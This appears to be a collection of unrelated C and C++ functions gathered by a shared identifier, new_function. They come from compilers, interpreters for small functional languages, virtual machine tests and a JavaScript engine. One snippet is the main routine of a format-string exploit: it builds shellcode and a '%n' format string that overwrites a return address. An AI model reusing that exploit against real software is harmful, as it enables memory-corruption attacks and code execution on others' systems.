intercodes translate_FunDec(struct Node *node) { intercodes code1,code2; struct Node *child = node->child; assert(child != NULL); char *func_name = child->text; // struct funMes *func_node = getFunMes(child); // assert(func_node != NULL); operand f1 = new_function(func_name); code1 = gen_one(FUNCTION_K,f1); //ID LP VarList RP if (child->sibling->sibling->sibling != NULL) { /* struct argList *param = func_node->arg; while (param != NULL) { if (param->aType == varStruct) { printf("Cannot translate: Code contains variables or parameters of structure type.\n"); exit(-1); } operand p1 = new_var(getVarIDbyName(param->name)); code2 = gen_one(PARAM_K,p1); code1 = link(code1,code2); param = param->next; }*/ code2 = translate_VarList(child->sibling->sibling); // code1 = link(code1,code2); return code1; } //ID LP RP return code1; }
Environment::MethodsPtr Environment::get_class_methods_list(std::string& cls_name) { Environment::MethodsPtr methods(new std::vector<PairOfStrPtr>); ClsInfoPtr cls = this->get_class(cls_name); std::list<ClsInfoPtr> inheritance_chain; while (cls) { inheritance_chain.push_front(cls); cls = cls->lat_cls_parent; } for (std::list<ClsInfoPtr>::iterator it = inheritance_chain.begin(); it != inheritance_chain.end(); it++) { for(Environment::lat_class::methods_t::iterator m_it = (*it)->methods.begin(); m_it != (*it)->methods.end(); m_it++) { FunInfoPtr fun = m_it->second; int position_on_vector = fun->position - Environment::object_methods_offset; StringPtr cls_name_ptr(new std::string((*it)->ident)); StringPtr function_ident_ptr(new std::string(m_it->first)); PairOfStrPtr new_function( std::make_pair( cls_name_ptr, function_ident_ptr) ); if (methods->size() <= (unsigned)position_on_vector) methods->resize(position_on_vector + 1); (*methods)[position_on_vector] = new_function; // maybe function will be overriden } } return methods; }
void add_command(int test, t_function **file, char *line) { t_function *tmp; if (test == 100) add_c_name(file, line); else if (test == 101) add_comment(file, line); else if (test == 102) cut_parsing_1(file, line); else if (test == 106) cut_parsing_2(file, line); else if (test == 103 || test == 105) ; else if (test == 0) ; else { if (g_begin != 2) exit_prgm_nbr(NULL, NULL); if (last_fun_h(file) == 1) { tmp = new_function(NULL); ft_lstaddend_funct(file, tmp); } cut_parsing_3(file, line, test); } }
void vmtest (int n, vm_mode_t trace) { int codelen = sizeof(code)/sizeof(Bcode); Function f = new_function(2, 0, code + 12, codelen - 12); gv[0] = (Value)n; gv[1] = (Value)f; vm(code, codelen, vs_base, VS_SIZE, gv, GV_SIZE, trace); delete_function(f); }
void vmtest (int x, int y, int z, vm_mode_t mode) { int codelen = sizeof(code)/sizeof(Bcode); Function f = new_function(3, 0, code + 16, codelen - 16); gv[0] = (Value)f; gv[1] = (Value)x; gv[2] = (Value)y; gv[3] = (Value)z; vm(code, codelen, vs_base, VS_SIZE, gv, GV_SIZE, mode); delete_function(f); }
void push_function(const char* name, VarList params) { Function* context = NULL; if(funstack != llist_empty) { context = llist_head(funstack); } Function* f = new_function(name, context); add_all_params(params, f); funstack = llist_prepend(f, funstack); }
void add_fun(t_function **file, char *line) { int i; char *tmp; t_function *tmp2; i = 0; while (line[i] != LABEL_CHAR) i++; g_nb_line = 0; tmp = ft_strsub(line, 0, i); tmp2 = new_function(tmp); ft_lstaddend_funct(file, tmp2); }
void add_comment(t_function **file, char *line) { int i; int j; char *tmp2; t_function *tmp; i = 0; j = 0; tmp2 = ft_strtrim(line); tmp2 = ft_strsub(tmp2, ft_strlen(COMMENT_CMD_STRING), ft_strlen(tmp2)); tmp2 = ft_strtrim(tmp2); tmp = new_function(tmp2); tmp->header = 2; ft_lstaddend_funct(file, tmp); }
struct task_s * run (struct task_s *task) { switch ( task->t ) { case TASK_EVAL: return eval (task->d.task_eval_v.expr, task->d.task_eval_v.cont); case TASK_APP1: { if ( task->d.task_app1_v.erator->t == FUNCTION_D ) { struct function_s *val = new_function (); struct task_s *ntask; val->t = FUNCTION_D1; init_ptr (&val->d.function_d1_v, task->d.task_app1_v.rand); ntask = invoke (task->d.task_app1_v.cont, val); free_function (val); return ntask; } else { struct continuation_s *ncont = new_continuation (); struct task_s *ntask; ncont->t = CONTINUATION_APP; init_ptr (&ncont->d.continuation_app_v.erator, task->d.task_app1_v.erator); init_ptr (&ncont->d.continuation_app_v.cont, task->d.task_app1_v.cont); ntask = eval (task->d.task_app1_v.rand, ncont); free_continuation (ncont); return ntask; } } case TASK_APP: return apply (task->d.task_app_v.erator, task->d.task_app_v.erand, task->d.task_app_v.cont); case TASK_INVOKE: return invoke (task->d.task_invoke_v.cont, task->d.task_invoke_v.val); case TASK_FINAL: /* Should not happen */; } fprintf (stderr, "INTERNAL ERROR: run() surprised!\n"); return NULL; }
V7_PRIVATE val_t mk_js_function(struct v7 *v7, struct v7_generic_object *scope, val_t proto) { struct v7_js_function *f; val_t fval = V7_NULL; struct gc_tmp_frame tf = new_tmp_frame(v7); tmp_stack_push(&tf, &proto); tmp_stack_push(&tf, &fval); f = new_function(v7); if (f == NULL) { /* fval is left `null` */ goto cleanup; } #if defined(V7_ENABLE_ENTITY_IDS) f->base.entity_id_base = V7_ENTITY_ID_PART_OBJ; f->base.entity_id_spec = V7_ENTITY_ID_PART_JS_FUNC; #endif fval = js_function_to_value(f); f->base.properties = NULL; f->scope = scope; /* * Before setting a `V7_OBJ_FUNCTION` flag, make sure we don't have * `V7_OBJ_DENSE_ARRAY` flag set */ assert(!(f->base.attributes & V7_OBJ_DENSE_ARRAY)); f->base.attributes |= V7_OBJ_FUNCTION; /* TODO(mkm): lazily create these properties on first access */ if (v7_is_object(proto)) { v7_def(v7, proto, "constructor", 11, V7_DESC_ENUMERABLE(0), fval); v7_def(v7, fval, "prototype", 9, V7_DESC_ENUMERABLE(0) | V7_DESC_CONFIGURABLE(0), proto); } cleanup: tmp_frame_cleanup(&tf); return fval; }
int main(int argc,char **argv) { char code[1024]; unsigned int len; *(int *)(shellcode+1)=(int) shell; memset(code,NOP,1024); len = 256; printf("shellcode addr is:%p\nshell addr is %p\n",shellcode,shell); sprintf(formatstrings,"%c%c%c%c%%%dp%%n",RETLOC&0x000000ff,(RETLOC&0x0000ff00)>>8,(RETLOC&0x00ff0000)>>16, (RETLOC&0xff000000)>>24,(int )shellcode -4); printf("%s",formatstrings); fflush(stdout); memcpy(code,formatstrings,sizeof(formatstrings)); new_function(len,code); exploit(len,code); }
void subprograms(int level) { char *tmp = malloc(35*sizeof(char)); FTYPE type; while(token == TK_PROCEDURE || token == TK_FUNCTION) { if (token == TK_PROCEDURE) { type = PROC; } else { type = FUNC; } debug(level,"SUBPROGRAMS"); debug_lex(); id(&tmp, level+1); new_function(tmp, type); push_scope(tmp); funcbody(tmp, level+1); } }
Environment::FunInfoPtr Environment::create_fun(Type* ret_type, ListArg* args) { Environment::FunInfoPtr new_function(new Environment::fun_info); new_function->ret_type = ret_type; new_function->is_extern = false; new_function->position = -1; for(ListArg::iterator it = args->begin(); it != args->end();it++){ Environment::VarInfoPtr next_argument(new Environment::var_info); Argument *argument = dynamic_cast<Argument*>(*it); if(argument == 0) { if (debug) std::cerr << "Cannot cast Arg to Argument. Did you changed grammar?"; throw "Did you changed grammar?!"; } next_argument->type = argument->type_; new_function->arguments.push_back(next_argument); } return new_function; }
void block(char *name, int level) { LIST *S = (LIST*)malloc(sizeof(LIST)); SYMBOL *tmp = NULL; /* initial block call */ if(is_program_block == 1) { is_program_block = 0; if(token == TK_LBRAC) { debug(level,"BLOCK"); push_scope(name); new_function(name, PROG); debug_lex(level+1); declerations(level+1); subprograms(level+1); tmp = lookup(name); tmp->func.genquad = qlabel; main_start_quad = qlabel; genquad("begin_block", program_name, "_", "_"); sequence(S, level+1); if(token == TK_RBRAC) { pop_scope(); debug_lex(); } else { /* syntax error lpar expected */ syntax_error("a '}' expected"); } } else { /* syntax error rpar expected */ syntax_error("'{' expected"); } backpatch(S->next, int2string(nextquad())); genquad("halt", "_", "_", "_"); genquad("end_block", program_name, "_", "_"); } else { if(token == TK_LBRAC) { debug(level,"BLOCK"); debug_lex(level+1); declerations(level+1); subprograms(level+1); tmp = lookup(name); tmp->func.genquad = qlabel; genquad("begin_block", name, "_", "_"); fprintf(stderr, "quad quad %s %d\n", tmp->name, tmp->func.genquad); sequence(S, level+1); if(token == TK_RBRAC) { if (!strcmp(assembly, "x86")) { generate_final_x86( program_name); } else { generate_final( program_name); } pop_scope(); debug_lex(); } else { /* syntax error lpar expected */ syntax_error("a '}' expected"); } } else { /* syntax error rpar expected */ syntax_error("'{' expected"); } backpatch(S->next, int2string(nextquad())); genquad("end_block", name,"_", "_"); } }
struct expression_s * parse (FILE *input) { int ch; do { ch = getc (input); if ( ch == '#' ) while ( ch != '\n' && ch != EOF ) ch = getc (input); } while ( ch == ' ' || ch == '\n' || ch == '\r' || ch == '\t' ); if ( ch == '`' ) { struct expression_s *rator = parse (input); struct expression_s *rand = parse (input); struct expression_s *expr = new_expression (); expr->t = EXPRESSION_APPLICATION; init_ptr (&expr->d.expression_application_v.rator, rator); init_ptr (&expr->d.expression_application_v.rand, rand); #if 0 /* Harmless but not necessary */ free_expression (rator); free_expression (rand); #endif return expr; } else if ( ch == 'i' || ch == 'I' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_I; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'k' || ch == 'K' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_K; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 's' || ch == 'S' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_S; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'v' || ch == 'V' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_V; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'd' || ch == 'D' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_D; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'e' || ch == 'E' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_E; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'p' || ch == 'P' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_P; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'f' || ch == 'F' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_F; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == 'r' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_DOT; fun->d.function_dot_v = '\n'; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == '.' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); int ch2; fun->t = FUNCTION_DOT; ch2 = getc (input); if ( ch2 == EOF ) goto ueof; fun->d.function_dot_v = ch2; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == '@' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_AT; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == '?' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); int ch2; fun->t = FUNCTION_QUES; ch2 = getc (input); if ( ch2 == EOF ) goto ueof; fun->d.function_ques_v = ch2; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == '|' ) { struct function_s *fun = new_function (); struct expression_s *expr = new_expression (); fun->t = FUNCTION_PIPE; expr->t = EXPRESSION_FUNCTION; init_ptr (&expr->d.expression_function_v, fun); #if 0 /* Harmless but not necessary */ free_function (fun); #endif return expr; } else if ( ch == EOF ) { ueof: fprintf (stderr, "Unexpected end of file\n"); exit (1); } else { fprintf (stderr, "Character not recognized: %c\n", ch); exit (1); } return NULL; }
//translate intercodes translate_Exp(struct Node *node, operand place) { struct Node *child = node->child; assert(child != NULL); intercodes code1 = NULL; intercodes code2 = NULL; intercodes code3 = NULL; intercodes code4 = NULL; intercodes code5 = NULL; //INT if (strcmp(child->type,"INT") == 0) { operand c1 = new_constant(atoi(child->text)); code1 = gen_assign(ASSIGN_K,place,c1); return code1; } //ID if (strcmp(child->type,"ID") == 0 && child->sibling == NULL) { int id = getVarID(child); operand v1 = new_var(id); code1 = gen_assign(ASSIGN_K,place,v1); return code1; } //Exp1 ASSINGOP Exp2 if (strcmp(child->type,"Exp") == 0 && strcmp(child->sibling->type,"ASSIGNOP") == 0) { //Exp1 is ID (ID = Exp2) // printf("%s\n",child->child->type); if (strcmp(child->child->type,"ID") == 0) { operand t1 = new_tmp(); int id = getVarID(child->child); operand v1 = new_var(id); code1 = translate_Exp(child->sibling->sibling,t1); code2 = gen_assign(ASSIGN_K,v1,t1); // code1 = link(code1,code2); if (place != NULL) { code3 = gen_assign(ASSIGN_K,place,v1); code1 = link(code1,code3); } return code1; } //Exp[Exp] = Exp2 } //Exp1 PLUS/MINUS/STAR/DIV Exp2 if (strcmp(child->type,"Exp") == 0 && (strcmp(child->sibling->type,"PLUS") == 0 || strcmp(child->sibling->type,"MINUS") == 0 || strcmp(child->sibling->type,"STAR") == 0 || strcmp(child->sibling->type,"DIV") == 0)) { operand t1 = new_tmp(); operand t2 = new_tmp(); code1 = translate_Exp(child,t1); code2 = translate_Exp(child->sibling->sibling,t2); //printf("%d %d\n", t1->u.tmp_no, t2 -> u.tmp_no); if (strcmp(child->sibling->type,"PLUS") == 0) { code3 = gen_binop(ADD_K,place,t1,t2); } else if (strcmp(child->sibling->type,"MINUS") == 0) code3 = gen_binop(SUB_K,place,t1,t2); else if (strcmp(child->sibling->type,"STAR") == 0) code3 = gen_binop(MUL_K,place,t1,t2); else if (strcmp(child->sibling->type,"DIV") == 0) code3 = gen_binop(DIV_K,place,t1,t2); //code1 = link(code1,code2); //code1 = link(code1,code3); return code1; } //MINUS Exp1 if (strcmp(child->type,"MINUS") == 0) { operand t1 = new_tmp(); code1 = translate_Exp(child,t1); operand c1 = new_constant(0); code2 = gen_binop(SUB_K,place,c1,t1); code1 = link(code1,code2); return code1; } //Exp1 RELOP Exp2 //NOT Exp1 //Exp1 AND Exp2 //Exp1 OR Exp2 if (strcmp(child->type,"NOT") == 0 || strcmp(child->sibling->type,"RELOP") == 0 || strcmp(child->sibling->type,"AND") == 0 || strcmp(child->sibling->type,"OR") == 0) { operand label1 = new_label(); operand label2 = new_label(); operand c1 = new_constant(0); operand c2 = new_constant(1); code1 = gen_assign(ASSIGN_K,place,c1); code2 = translate_Cond(node,label1,label2); code3 = gen_one(LABEL_K,label1); code4 = gen_assign(ASSIGN_K,place,c2); code5 = gen_one(LABEL_K,label2); code1 = link(code1,code2); code1 = link(code1,code3); code1 = link(code1,code4); code1 = link(code1,code5); return code1; } //ID LP RP if (strcmp(child->sibling->sibling->type,"LP") == 0 && strcmp(child->sibling->sibling->type,"RP") == 0) { char *func_name = child->text; if (strcmp(func_name,"read") == 0) { if (place == NULL) { operand t1 = new_tmp(); code1 = gen_one(READ_K,t1); } else code1 = gen_one(READ_K,place); return code1; } struct funMes *func_node = getFunMes(child); assert(func_node != NULL); operand f1 = new_function(func_name); if (place != NULL && place->kind != ADDRESS) code1 = gen_assign(CALL_K,place,f1); else if (place != NULL && place->kind == ADDRESS) { operand t2 = new_tmp(); code1 = gen_assign(CALL_K,t2,f1); code2 = gen_assign(ASSIGN_K,place,t2); code1 = link(code1,code2); } else { operand t2 = new_tmp(); code1 = gen_assign(CALL_K,t2,f1); } return code1; } //ID LP Args RP if (strcmp(child->sibling->type,"LP") == 0 && strcmp(child->sibling->sibling->type,"Args") == 0) { char *func_name = child->text; operand *arg_list = (operand *)malloc(sizeof(operand) * 10); int arg_num = 0; code1 = translate_Args(child->sibling->sibling,arg_list,&arg_num); if (strcmp(func_name,"write") == 0) { assert(arg_num == 1); operand t1; if (arg_list[0]->kind == ADDRESS) { t1 = new_tmp(); code2 = gen_assign(ASSIGN_K,t1,arg_list[0]); code1 = link(code1,code2); } else t1 = arg_list[0]; code3 = gen_one(WRITE_K,t1); code1 = link(code1,code3); return code1; } int i; for (i = 0;i < arg_num;i++) { code2 = gen_one(ARG_K,arg_list[i]); code1 = link(code1,code2); } operand f1 = new_function(func_name); if (place != NULL && place->kind != ADDRESS) code3 = gen_assign(CALL_K,place,f1); else if (place != NULL && place->kind == ADDRESS) { operand t2 = new_tmp(); code1 = gen_assign(CALL_K,t2,f1); code2 = gen_assign(ASSIGN_K,place,t2); code1 = link(code1,code2); } else { operand t2 = new_tmp(); code3 = gen_assign(CALL_K,t2,f1); } code1 = link(code1,code3); return code1; } //LP Exp RP if (strcmp(child->type,"LP") == 0) { return translate_Exp(child->sibling,place); } //Exp1 LB Exp2 RB if (strcmp(child->type,"LB") == 0) { return translate_array(node,place,NULL,NULL); } //Exp DOT ID return NULL; }
bool symbol_table::new_function(const string& name, const string& ret_type, string& sign) { vector<func_arg> args; return new_function(name, ret_type, args, sign); }
struct task_s * apply (struct function_s *rator, struct function_s *rand, struct continuation_s *cont) { switch ( rator->t ) { case FUNCTION_I: return invoke (cont, rand); case FUNCTION_DOT: putchar (rator->d.function_dot_v); return invoke (cont, rand); case FUNCTION_K1: return invoke (cont, rator->d.function_k1_v); case FUNCTION_K: { struct function_s *val = new_function (); struct task_s *task; val->t = FUNCTION_K1; init_ptr (&val->d.function_k1_v, rand); task = invoke (cont, val); free_function (val); return task; } case FUNCTION_S2: { struct expression_s *e_x = new_expression (); struct expression_s *e_y = new_expression (); struct expression_s *e_z = new_expression (); struct expression_s *e1 = new_expression (); struct expression_s *e2 = new_expression (); struct expression_s *e = new_expression (); struct task_s *task = new_task (); e_x->t = EXPRESSION_FUNCTION; init_ptr (&e_x->d.expression_function_v, rator->d.function_s2_v.x); e_y->t = EXPRESSION_FUNCTION; init_ptr (&e_y->d.expression_function_v, rator->d.function_s2_v.y); e_z->t = EXPRESSION_FUNCTION; init_ptr (&e_z->d.expression_function_v, rand); e1->t = EXPRESSION_APPLICATION; init_ptr (&e1->d.expression_application_v.rator, e_x); init_ptr (&e1->d.expression_application_v.rand, e_z); e2->t = EXPRESSION_APPLICATION; init_ptr (&e2->d.expression_application_v.rator, e_y); init_ptr (&e2->d.expression_application_v.rand, e_z); e->t = EXPRESSION_APPLICATION; init_ptr (&e->d.expression_application_v.rator, e1); init_ptr (&e->d.expression_application_v.rand, e2); task->t = TASK_EVAL; init_ptr (&task->d.task_eval_v.expr, e); init_ptr (&task->d.task_eval_v.cont, cont); #if 0 /* Harmless but not necessary */ free_expression (e_x); free_expression (e_y); free_expression (e_z); free_expression (e1); free_expression (e2); free_expression (e); #endif return task; } case FUNCTION_S1: { struct function_s *val = new_function (); struct task_s *task; val->t = FUNCTION_S2; init_ptr (&val->d.function_s2_v.x, rator->d.function_s1_v); init_ptr (&val->d.function_s2_v.y, rand); task = invoke (cont, val); free_function (val); return task; } case FUNCTION_S: { struct function_s *val = new_function (); struct task_s *task; val->t = FUNCTION_S1; init_ptr (&val->d.function_s1_v, rand); task = invoke (cont, val); free_function (val); return task; } case FUNCTION_V: return invoke (cont, rator); case FUNCTION_D1: { struct continuation_s *ncont = new_continuation (); struct task_s *task = new_task (); ncont->t = CONTINUATION_DEL; init_ptr (&ncont->d.continuation_del_v.erand, rand); init_ptr (&ncont->d.continuation_del_v.cont, cont); task->t = TASK_EVAL; init_ptr (&task->d.task_eval_v.expr, rator->d.function_d1_v); init_ptr (&task->d.task_eval_v.cont, ncont); #if 0 /* Harmless but not necessary */ free_continuation (ncont); #endif return task; } case FUNCTION_D: { struct expression_s *promise = new_expression (); struct function_s *val = new_function (); struct task_s *task; promise->t = EXPRESSION_FUNCTION; init_ptr (&promise->d.expression_function_v, rand); val->t = FUNCTION_D1; init_ptr (&val->d.function_d1_v, promise); task = invoke (cont, val); free_continuation (cont); free_function (val); return task; } case FUNCTION_CONT: return invoke (rator->d.function_cont_v, rand); case FUNCTION_DCONT: { struct function_s *val = new_function (); struct task_s *task = new_task (); struct continuation_s *ncont = new_continuation (); push_cont (cont); val->t = FUNCTION_CONT; init_ptr (&val->d.function_cont_v, rator->d.function_cont_v); task->t = TASK_APP; ncont->t = CONTINUATION_ABORT; init_ptr (&task->d.task_app_v.erator, val); init_ptr (&task->d.task_app_v.erand, rand); init_ptr (&task->d.task_app_v.cont, ncont); return task; } case FUNCTION_P: { struct function_s *val = new_function (); struct task_s *task = new_task (); struct continuation_s *ncont = new_continuation (); push_cont (cont); val->t = FUNCTION_I; task->t = TASK_APP; ncont->t = CONTINUATION_ABORT; init_ptr (&task->d.task_app_v.erator, rand); init_ptr (&task->d.task_app_v.erand, val); init_ptr (&task->d.task_app_v.cont, ncont); return task; } case FUNCTION_F: { struct function_s *val = new_function (); struct task_s *task = new_task (); struct continuation_s *ncont = new_continuation (); val->t = FUNCTION_DCONT; init_ptr (&val->d.function_cont_v, cont); task->t = TASK_APP; ncont->t = CONTINUATION_ABORT; init_ptr (&task->d.task_app_v.erator, rand); init_ptr (&task->d.task_app_v.erand, val); init_ptr (&task->d.task_app_v.cont, ncont); return task; } case FUNCTION_E: { struct task_s *task = new_task (); task->t = TASK_FINAL; return task; } case FUNCTION_AT: { struct function_s *val = new_function (); struct task_s *task = new_task (); current_ch = getchar (); val->t = (current_ch != EOF ? FUNCTION_I : FUNCTION_V); task->t = TASK_APP; init_ptr (&task->d.task_app_v.erator, rand); init_ptr (&task->d.task_app_v.erand, val); init_ptr (&task->d.task_app_v.cont, cont); #if 0 /* Harmless but not necessary */ free_function (val); #endif return task; } case FUNCTION_QUES: { struct function_s *val = new_function (); struct task_s *task = new_task (); val->t = (current_ch == rator->d.function_ques_v ? FUNCTION_I : FUNCTION_V); task->t = TASK_APP; init_ptr (&task->d.task_app_v.erator, rand); init_ptr (&task->d.task_app_v.erand, val); init_ptr (&task->d.task_app_v.cont, cont); #if 0 /* Harmless but not necessary */ free_function (val); #endif return task; } case FUNCTION_PIPE: { struct function_s *val = new_function (); struct task_s *task = new_task (); if ( current_ch != EOF ) { val->t = FUNCTION_DOT; val->d.function_dot_v = current_ch; } else val->t = FUNCTION_V; task->t = TASK_APP; init_ptr (&task->d.task_app_v.erator, rand); init_ptr (&task->d.task_app_v.erand, val); init_ptr (&task->d.task_app_v.cont, cont); #if 0 /* Harmless but not necessary */ free_function (val); #endif return task; } } fprintf (stderr, "INTERNAL ERROR: apply() surprised!\n"); return NULL; }
str_and_len_t sl = { .len = 0, .str = NULL }; const char *filename = (f->body->filename ? f->body->filename : ""); const char *nicename = (f->body->nicename ? f->body->nicename : ""); compile_level = seclev; erred = false; env_reset(); fncode top = new_fncode(true); env_push(NULL, top); /* Environment must not be totally empty */ block body = new_toplevel_codeblock(fnmemory(top), f->statics, f->body); function func = new_function(fnmemory(top), TYPESET_ANY, sl, NULL, new_component(fnmemory(top), 0, c_block, body), body->lineno, filename, nicename); func->varname = "top-level"; struct icode *cc = generate_function(func, true, top); GCPRO1(cc); generate_fncode(top, NULL, NULL, NULL, NULL, 0, NULL, TYPESET_ANY, seclev); uword dummy; env_pop(&dummy); delete_fncode(top); UNGCPRO(); if (erred) return NULL; return alloc_closure0(&cc->code); }